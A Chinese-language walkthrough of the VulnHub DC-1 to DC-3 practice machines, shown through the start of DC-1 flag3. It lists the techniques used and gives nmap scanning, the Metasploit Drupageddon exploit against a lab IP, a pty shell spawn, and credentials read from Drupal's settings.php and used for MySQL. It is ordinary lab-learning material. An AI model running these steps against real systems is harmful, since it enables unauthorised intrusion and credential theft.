收获
DC1
- 回顾了metasploit的一些用法
- 利用已知cms的exp来getshell
- hashcat爆破用法
- find提权
DC2
- cewl根据网页内容生成字典
- wpscan结合cewl跑账号和密码
- 用metasploit的模块来ssh爆破
- rbash->bash--------vim逃逸
- git提权
DC3
- searchsploit的一些用法
- 在github上搜罗cms探测脚本
- john爆破用法
- 页面模板里添加一句话木马
- 使用Python开启SimpleHTTPServer
- 公开的脚本提权
DC1
下载地址:https://www.vulnhub.com/entry/dc-1-1,292/
信息搜集
# nat模式,先扫一下,探测下IP是多少
nmap -sP 192.168.60.1/24
# 探测详细信息
nmap -A -T 5 192.168.60.133 -v
开放端口 | 利用方式 |
---|---|
22 | ssh爆破 |
80 | CMS-Drupal 7,利用已知EXP |
flag1
使用metasploit getshell。
# msfconsle
# search Drupal
# use exploit/multi/http/drupal_drupageddon
# set rhosts 192.168.60.133
# set lhost 192.168.60.134
# run
ls查看下当前目录下的文件,发现flag1
# cat flag1.txt
good CMS needs a config file - and so do you.
flag2
flag1提示我们可以看看配置文件,网上找了下Drupal的配置文件目录。
可以这样搜索:
find / -name setting*
在此之前我们先切换到bash,因为meterpreter貌似不能使用find命令。
# shell
# python -c "import pty;pty.spawn('/bin/bash')"
# 查看配置文件
cat /var/www/sites/default/settings.php
发现数据库账号和密码
username: dbuser
password: R0ck3t
还发现了flag2
Brute force and dictionary attacks aren’t the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
flag3
登陆下mysql
mysql -udbuser -pR0ck3t
查看数据库
show databases;
# use drupaldb;
# show tables;